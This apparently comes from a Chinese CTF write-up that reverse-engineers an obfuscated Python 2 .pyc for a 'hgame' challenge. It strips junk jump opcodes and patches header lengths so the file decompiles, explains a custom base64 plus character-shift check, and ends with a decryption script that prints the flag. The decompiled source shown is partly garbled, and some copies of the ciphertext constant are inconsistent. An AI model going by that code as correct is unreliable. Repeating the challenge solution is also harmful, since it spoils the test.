167	LOAD_ATTR	6: join
170	LOAD_FAST	5: temp_list
173	CALL_FUNCTION	1
176	STORE_FAST	6: temp_str
179	BUILD_LIST	0
182	LOAD_CONST	4: 0
185	LOAD_CONST	9: 6
188	LOAD_CONST	10: 12
191	LOAD_CONST	11: 18
194	BUILD_LIST	4
197	GET_ITER	
198	FOR_ITER	23 (to 224)
201	STORE_FAST	7: x
204	LOAD_FAST	6: temp_str
207	LOAD_FAST	7: x
210	LOAD_FAST	7: x
213	LOAD_CONST	9: 6
216	BINARY_ADD	
217	SLICE_3	
218	LIST_APPEND	2
221	JUMP_ABSOLUTE	198
224	STORE_FAST	8: temp_str_list
227	BUILD_LIST	0

230	LOAD_FAST	8: temp_str_list
233	GET_ITER	
234	FOR_ITER	21 (to 258)
237	STORE_FAST	7: x
240	LOAD_GLOBAL	7: int
243	LOAD_FAST	7: x
246	LOAD_CONST	12: 2
249	CALL_FUNCTION	2
252	LIST_APPEND	2
255	JUMP_ABSOLUTE	234
258	STORE_FAST	8: temp_str_list
261	LOAD_FAST	4: equal_num
264	POP_JUMP_IF_FALSE	287
267	LOAD_FAST	8: temp_str_list
270	LOAD_CONST	4: 0
273	LOAD_CONST	13: 4
276	LOAD_FAST	4: equal_num
279	BINARY_SUBTRACT	
280	SLICE_3	
281	STORE_FAST	8: temp_str_list
284	JUMP_FORWARD	0 (to 287)
287	LOAD_FAST	3: output_str
290	LOAD_CONST	3: ''
293	LOAD_ATTR	6: join
296	BUILD_LIST	0
299	LOAD_FAST	8: temp_str_list
302	GET_ITER	
303	FOR_ITER	16 (to 322)
306	STORE_FAST	7: x
309	LOAD_GLOBAL	8: letters
312	LOAD_FAST	7: x
315	BINARY_SUBSCR	
316	LIST_APPEND	2
319	JUMP_ABSOLUTE	303
322	CALL_FUNCTION	1
325	INPLACE_ADD	
326	STORE_FAST	3: output_str
329	LOAD_FAST	2: str_ascii_list
332	LOAD_CONST	5: 3
335	SLICE_1	
336	STORE_FAST	2: str_ascii_list
339	JUMP_ABSOLUTE	79
342	POP_BLOCK	
343	LOAD_FAST	3: output_str
346	LOAD_CONST	14: '='
349	LOAD_FAST	4: equal_num
352	BINARY_MULTIPLY	
353	BINARY_ADD	
354	STORE_FAST	3: output_str
357	LOAD_FAST	3: output_str
360	RETURN_VALUE	

"Welcome to Processor's Python Classroom Part 3&4!\n"

'qi shi wo jiu shi lan cai ba liang dao ti fang zai yi qi.'



```

    "Now let's start the origin of Python!\n"
    'Plz Input Your Flag:\n'
    2
    0
    1
    ''
    "You're right! "
    "You're wrong! "
[Disassembly]
    0      JUMP_ABSOLUTE      3
    3      JUMP_ABSOLUTE      9
    6      LOAD_CONST          15: "You're wrong! "
    9      JUMP_ABSOLUTE      14
    12     PRINT_ITEM
Error disassembling third.pyc: vector::_M_range_check: __n (which is 100) >= this->size()
(which is 16)
    13     LOAD_CONST          100:

```

有点多欸，没接触过，看不太懂


每条byte code结构大概只这样的：**源码行号 | 指令在函数中的偏移 | 指令符号 | 指令参数 | 实际参数值**

这程序开头就是一堆jump然后貌似jump出程序了一样，有毒，尝试着去掉

然后到了自学成才的截断，链接：<https://blog.csdn.net/sgbfblog/article/details/45291969> 关于Pyc格式解析的；<https://blog.csdn.net/ir0nf1st/article/details/61962197>；<http://www.xumenger.com/01-python-pyc-20180521/> 关于JUMP\_ABSOLUTE这类对应的16进制数的

你用hex editor 打开可以看见71 03 00 之类的就对应着0 JUMP\_ABSOLUTE 3

把开头的两个JUMP删除，然后会跳出来



```

File Edit View Search Terminal Help
xiaoyuyu@ubuntu:~/ctf_test/pycdc-master/pycdc$ ./pycdas third_2.pyc
CreateObject: Got unsupported type 0x7F
Error disassembling third_2.pyc: std::bad_cast
xiaoyuyu@ubuntu:~/ctf_test/pycdc-master/pycdc$

```

后来应该是删了不该删的吧，然后对照着之前最初的ERROR，先把size改到16以下

重新pycdas代码入下

```

third_2.pyc (Python 2.7)
[Code]
  File Name: third.py
  Object Name: <module>
  Arg Count: 0
  Locals: 0
  Stack Size: 5
  Flags: 0x00000040 (CO_NOFREE)
[Names]
  'string'
  'list'
  'letters'
  'digits'
  'dec'

```

```
'encode'
'raw_input'
'enc'
'lst'
'reverse'
'len'
'llen'
'range'
'i'
'chr'
'ord'
'enc2'
'join'
'enc3'
[Var Names]
[Free Vars]
[Cell Vars]
[Constants]
-1
None
'+'
'/'
'FcjTCgD1EffEm2rPC3bTyL5Wu2bKBI9KAZrwFgrUyghN'
[Code]
  File Name: third.py
  Object Name: encode
  Arg Count: 1
  Locals: 9
  Stack Size: 7
  Flags: 0x00000043 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)
  [Names]
    'format'
    'str'
    'bin'
    'ord'
    'replace'
    'len'
    'join'
    'int'
    'letters'
  [Var Names]
    'input_str'
    'i'
    'str_ascii_list'
    'output_str'
    'equal_num'
    'temp_list'
    'temp_str'
    'x'
    'temp_str_list'
  [Free Vars]
  [Cell Vars]
  [Constants]
```

```

None
'{:0>8}'
'0b'
''
0
3
1
'0'
8
6
12
18
2
4
'='
'00000000'

```

[Disassembly]

0	BUILD_LIST	0
3	LOAD_FAST	0: input_str
6	GET_ITER	
7	FOR_ITER	51 (to 61)
10	STORE_FAST	1: i
13	LOAD_CONST	1: '{:0>8}'
16	LOAD_ATTR	0: format
19	LOAD_GLOBAL	1: str
22	LOAD_GLOBAL	2: bin
25	LOAD_GLOBAL	3: ord
28	LOAD_FAST	1: i
31	CALL_FUNCTION	1
34	CALL_FUNCTION	1
37	CALL_FUNCTION	1
40	LOAD_ATTR	4: replace
43	LOAD_CONST	2: '0b'
46	LOAD_CONST	3: ''
49	CALL_FUNCTION	2
52	CALL_FUNCTION	1
55	LIST_APPEND	2
58	JUMP_ABSOLUTE	7
61	STORE_FAST	2: str_ascii_list
64	LOAD_CONST	3: ''
67	STORE_FAST	3: output_str
70	LOAD_CONST	4: 0
73	STORE_FAST	4: equal_num
76	SETUP_LOOP	264 (to 343)
79	LOAD_FAST	2: str_ascii_list
82	POP_JUMP_IF_FALSE	342
85	LOAD_FAST	2: str_ascii_list
88	LOAD_CONST	5: 3
91	SLICE_2	
92	STORE_FAST	5: temp_list
95	LOAD_GLOBAL	5: len
98	LOAD_FAST	5: temp_list
101	CALL_FUNCTION	1

104	LOAD_CONST	5: 3
107	COMPARE_OP	3 (!=)
110	POP_JUMP_IF_FALSE	164
113	SETUP_LOOP	48 (to 164)
116	LOAD_GLOBAL	5: len
119	LOAD_FAST	5: temp_list
122	CALL_FUNCTION	1
125	LOAD_CONST	5: 3
128	COMPARE_OP	0 (<)
131	POP_JUMP_IF_FALSE	160
134	LOAD_FAST	4: equal_num
137	LOAD_CONST	6: 1
140	INPLACE_ADD	
141	STORE_FAST	4: equal_num
144	LOAD_FAST	5: temp_list
147	LOAD_CONST	15: '00000000'
150	BUILD_LIST	1
153	INPLACE_ADD	
154	STORE_FAST	5: temp_list
157	JUMP_ABSOLUTE	116
160	POP_BLOCK	
161	JUMP_FORWARD	0 (to 164)
164	LOAD_CONST	3: ''
167	LOAD_ATTR	6: join
170	LOAD_FAST	5: temp_list
173	CALL_FUNCTION	1
176	STORE_FAST	6: temp_str
179	BUILD_LIST	0
182	LOAD_CONST	4: 0
185	LOAD_CONST	9: 6
188	LOAD_CONST	10: 12
191	LOAD_CONST	11: 18
194	BUILD_LIST	4
197	GET_ITER	
198	FOR_ITER	23 (to 224)
201	STORE_FAST	7: x
204	LOAD_FAST	6: temp_str
207	LOAD_FAST	7: x
210	LOAD_FAST	7: x
213	LOAD_CONST	9: 6
216	BINARY_ADD	
217	SLICE_3	
218	LIST_APPEND	2
221	JUMP_ABSOLUTE	198
224	STORE_FAST	8: temp_str_list
227	BUILD_LIST	0
230	LOAD_FAST	8: temp_str_list
233	GET_ITER	
234	FOR_ITER	21 (to 258)
237	STORE_FAST	7: x
240	LOAD_GLOBAL	7: int
243	LOAD_FAST	7: x
246	LOAD_CONST	12: 2

249	CALL_FUNCTION	2
252	LIST_APPEND	2
255	JUMP_ABSOLUTE	234
258	STORE_FAST	8: temp_str_list
261	LOAD_FAST	4: equal_num
264	POP_JUMP_IF_FALSE	287
267	LOAD_FAST	8: temp_str_list
270	LOAD_CONST	4: 0
273	LOAD_CONST	13: 4
276	LOAD_FAST	4: equal_num
279	BINARY_SUBTRACT	
280	SLICE_3	
281	STORE_FAST	8: temp_str_list
284	JUMP_FORWARD	0 (to 287)
287	LOAD_FAST	3: output_str
290	LOAD_CONST	3: ''
293	LOAD_ATTR	6: join
296	BUILD_LIST	0
299	LOAD_FAST	8: temp_str_list
302	GET_ITER	
303	FOR_ITER	16 (to 322)
306	STORE_FAST	7: x
309	LOAD_GLOBAL	8: letters
312	LOAD_FAST	7: x
315	BINARY_SUBSCR	
316	LIST_APPEND	2
319	JUMP_ABSOLUTE	303
322	CALL_FUNCTION	1
325	INPLACE_ADD	
326	STORE_FAST	3: output_str
329	LOAD_FAST	2: str_ascii_list
332	LOAD_CONST	5: 3
335	SLICE_1	
336	STORE_FAST	2: str_ascii_list
339	JUMP_ABSOLUTE	79
342	POP_BLOCK	
343	LOAD_FAST	3: output_str
346	LOAD_CONST	14: '='
349	LOAD_FAST	4: equal_num
352	BINARY_MULTIPLY	
353	BINARY_ADD	
354	STORE_FAST	3: output_str
357	LOAD_FAST	3: output_str
360	RETURN_VALUE	

"Welcome to Processor's Python Classroom Part 3&4!\n"

'qi shi wo jiu shi lan cai ba liang dao ti fang zai yi qi.'

"Now let's start the origin of Python!\n"

'Plz Input Your Flag:\n'

2

0

1

''

"You're right! "

```

    "You're Wrong! "
[Disassembly]
    0      JUMP_ABSOLUTE      3
    3      JUMP_ABSOLUTE      9
    6      LOAD_CONST          15: "You're Wrong! "
    9      JUMP_ABSOLUTE      14
    12     PRINT_ITEM
    13     LOAD_CONST          9: 'Plz Input Your Flag:\n'
    16     STOP_CODE
    17     LOAD_CONST          1: None
    20     IMPORT_NAME          0: string
    23     STORE_NAME          0: string
    26     LOAD_NAME            1: list
    29     LOAD_NAME            0: string
    32     LOAD_ATTR            2: letters
    35     CALL_FUNCTION        1
    38     LOAD_NAME            1: list
    41     LOAD_NAME            0: string
    44     LOAD_ATTR            3: digits
    47     CALL_FUNCTION        1
    50     BINARY_ADD
    51     LOAD_CONST          2: '+'
    54     LOAD_CONST          3: '/'
    57     BUILD_LIST          2
    60     BINARY_ADD
    61     STORE_NAME          2: letters
    64     LOAD_CONST          4: 'FcjTCgD1EffEm2rPC3bTyL5Wu2bKBI9KAZrwFgrUyghN'
    67     STORE_NAME          4: dec
    70     LOAD_CONST          5: <CODE> encode
    73     MAKE_FUNCTION        0
    76     STORE_NAME          5: encode
    79     LOAD_CONST          6: "Welcome to Processor's Python Classroom Part
3&4!\n"
    82     PRINT_ITEM
    83     PRINT_NEWLINE
    84     LOAD_CONST          7: 'qi shi wo jiu shi lan cai ba liang dao ti
fang zai yi qi.'
    87     PRINT_ITEM
    88     PRINT_NEWLINE
    89     LOAD_CONST          8: "Now let's start the origin of Python!\n"
    92     PRINT_ITEM
    93     PRINT_NEWLINE
    94     LOAD_CONST          9: 'Plz Input Your Flag:\n'
    97     PRINT_ITEM
    98     PRINT_NEWLINE
    99     LOAD_NAME            6: raw_input
    102    CALL_FUNCTION        0
    105    STORE_NAME          7: enc
    108    LOAD_NAME            1: list
    111    LOAD_NAME            7: enc
    114    CALL_FUNCTION        1
    117    STORE_NAME          8: lst
    120    LOAD_NAME            8: lst

```

123	LOAD_ATTR	9: reverse
126	CALL_FUNCTION	0
129	POP_TOP	
130	LOAD_NAME	10: len
133	LOAD_NAME	8: lst
136	CALL_FUNCTION	1
139	STORE_NAME	11: llen
142	SETUP_LOOP	99 (to 244)
145	LOAD_NAME	12: range
148	LOAD_NAME	11: llen
151	CALL_FUNCTION	1
154	GET_ITER	
155	FOR_ITER	85 (to 243)
158	STORE_NAME	13: i
161	LOAD_NAME	13: i
164	LOAD_CONST	10: 2
167	BINARY_MODULO	
168	LOAD_CONST	11: 0
171	COMPARE_OP	2 (==)
174	POP_JUMP_IF_FALSE	196
177	LOAD_NAME	14: chr
180	LOAD_NAME	15: ord
183	LOAD_NAME	8: lst
186	LOAD_NAME	13: i
189	BINARY_SUBSCR	
190	CALL_FUNCTION	1
193	LOAD_CONST	10: 2
196	BINARY_SUBTRACT	
197	CALL_FUNCTION	1
200	LOAD_NAME	8: lst
203	LOAD_NAME	13: i
206	STORE_SUBSCR	
207	JUMP_FORWARD	0 (to 210)
210	LOAD_NAME	14: chr
213	LOAD_NAME	15: ord
216	LOAD_NAME	8: lst
219	LOAD_NAME	13: i
222	BINARY_SUBSCR	
223	CALL_FUNCTION	1
226	LOAD_CONST	12: 1
229	BINARY_ADD	
230	CALL_FUNCTION	1
233	LOAD_NAME	8: lst
236	LOAD_NAME	13: i
239	STORE_SUBSCR	
240	JUMP_ABSOLUTE	141
243	POP_BLOCK	
244	LOAD_CONST	13: ''
247	STORE_NAME	16: enc2
250	LOAD_NAME	16: enc2
253	LOAD_ATTR	17: join
256	LOAD_NAME	8: lst
259	CALL_FUNCTION	1

262	STORE_NAME	16: enc2
265	LOAD_NAME	5: encode
268	LOAD_NAME	16: enc2
271	CALL_FUNCTION	1
274	STORE_NAME	18: enc3
277	LOAD_NAME	18: enc3
280	LOAD_NAME	4: dec
283	COMPARE_OP	2 (==)
286	POP_JUMP_IF_FALSE	283
289	LOAD_CONST	14: "You're right! "
292	PRINT_ITEM	
293	PRINT_NEWLINE	
294	JUMP_FORWARD	5 (to 302)
297	LOAD_CONST	15: "You're wrong! "
300	PRINT_ITEM	
301	PRINT_NEWLINE	
302	LOAD_CONST	1: None
305	RETURN_VALUE	

但是依然不能uncompile，还有问题，一开头的部分一大堆莫名其妙的jump，感觉会跳到程序快外，一些相关的部分也删除

找到了一个类似的文件头，可以当作例子，如下

## 分析pyc文件

以上面test.py为例，编译其得到的pyc文件内容为

```
00000000 03 f3 0d 0a c2 6a 02 5b 63 00 00 00 00 00 00 |.....j.[c.....|
00000010 00 01 00 00 00 40 00 00 00 73 27 00 00 00 64 00 |.....@...s'...d.|
00000020 00 5a 00 00 64 01 00 5a 01 00 64 02 00 84 00 00 |.Z..d..Z..d.....|
00000030 5a 02 00 65 02 00 83 00 00 5a 03 00 65 03 00 47 |Z..e.....Z..e..G|
00000040 48 64 03 00 53 78 04 00 00 00 74 06 00 00 00 73 |Hd s( + c|
```

删掉之后还是不行，连pycdas都会报错，要慢慢改文件头了233

不知道该怎么和你解释，如下这块是源代码以及一些长度的细节

但是在字节长度的标识位上数字为0x132，我们删掉了一部分，要改为0x121，之后就可以反编译成python了，代码如下

```
import string
letters = list(string.letters) + list(string.digits) + ['+', '/'] # 置换表被替换了
dec = 'FcjTCgDlEffEm2rPC3bTyL5wu2bKBI9KAZrwFgrUygHN'

def encode(input_str): # base64
    # continue
    # 对每一个字节取ascii数值或unicode数值，然后转换为2进制
    str_ascii_list = [ '{:0>8}'.format(str(bin(ord(i)))).replace('0b', '') for i in
input_str ]
    output_str = ''
    equal_num = 0
    for x in [0,6,12,18]:
```



```

        # continue
        # 三个8字节的二进制 转换为4个6字节的二进制
        temp_str_list = [][temp_str[x:x + 6]]
        # continue
        # 三个8字节的二进制 转换为4个6字节的二进制
        temp_str_list = [ int(x, 2) for x in temp_str_list ]
        # 判断是否为补齐的字符 做相应的处理
        if equal_num:
            temp_str_list = temp_str_list[0:4 - equal_num]
            # continue
            ''.join += [][ letters[x] for x in temp_str_list ])
            str_ascii_list = str_ascii_list[3:]
        output_str = output_str + '=' * equal_num
    return output_str

print "Welcome to Processor's Python Classroom Part 3&4!\n"
print 'qi shi wo jiu shi lan cai ba liang dao ti fang zai yi qi.'
print "Now let's start the origin of Python!\n"
print 'Plz Input Your Flag:\n'
enc = raw_input()
lst = list(enc)
lst.reverse()
llen = len(lst)
for i in range(llen):
    if i % 2 == 0:
        lst[i] = chr(ord(lst[i]) - 2) # 奇数-2
        lst[i] = chr(ord(lst[i]) + 1) # 偶数+1

enc2 = ''
enc2 = enc2.join(lst)
enc3 = encode(enc2)
if enc3 == dec:
    print "You're right! "
else:
    print "You're wrong! "

```

解密脚本：

```

import string
import base64
letters = list(string.ascii_letters) + list(string.digits) + ['+', '/']
# print(letters)
dec = 'FcjTCgD1EffeM2rPC3bTyL5Wu2bKBI9KAZrwFgrUygHN'

def my_base64_decodestring(input_str):
    # 对每一个字节取索引，然后转换为2进制
    str_ascii_list = ['{:0>6}'.format(str(bin(letters.index(i))).replace('0b', '')) for
i in input_str if i != '=']
    output_str = ''
    equal_num = input_str.count('=')
    while str_ascii_list:
        temp_list = str_ascii_list[:4]

```

```

temp_str = ''.join(temp_list)
# 补够8位
if len(temp_str) % 8 != 0:
    temp_str = temp_str[0:-1*equal_num*2]
# 4个6字节的二进制 转换 为三个8字节的二进制
temp_str_list = [temp_str[x:x+8] for x in [0, 8, 16]]
# 二进制转为10进制
temp_str_list = [int(x, 2) for x in temp_str_list if x]
output_str += ''.join([chr(x) for x in temp_str_list])
str_ascii_list = str_ascii_list[4:]
# print(output_str)
return output_str

print(my_base64_decodestring(dec))

dec3 = '| "mpguxQ^3dispmb^ps`dn/dk4V|dn`hg'

lst = []
for i in range(len(dec3)):
    if i % 2 == 0:
        lst.append(chr((ord(dec3[i]) + 1) % 256))
    else:
        lst.append(chr((ord(dec3[i]) - 1) % 256))

print(lst)
s = lst[len(lst)-1::-1]
print(s)
print(''.join(s))
# hgame{w3lc0me_To_anothe2_Python!}

```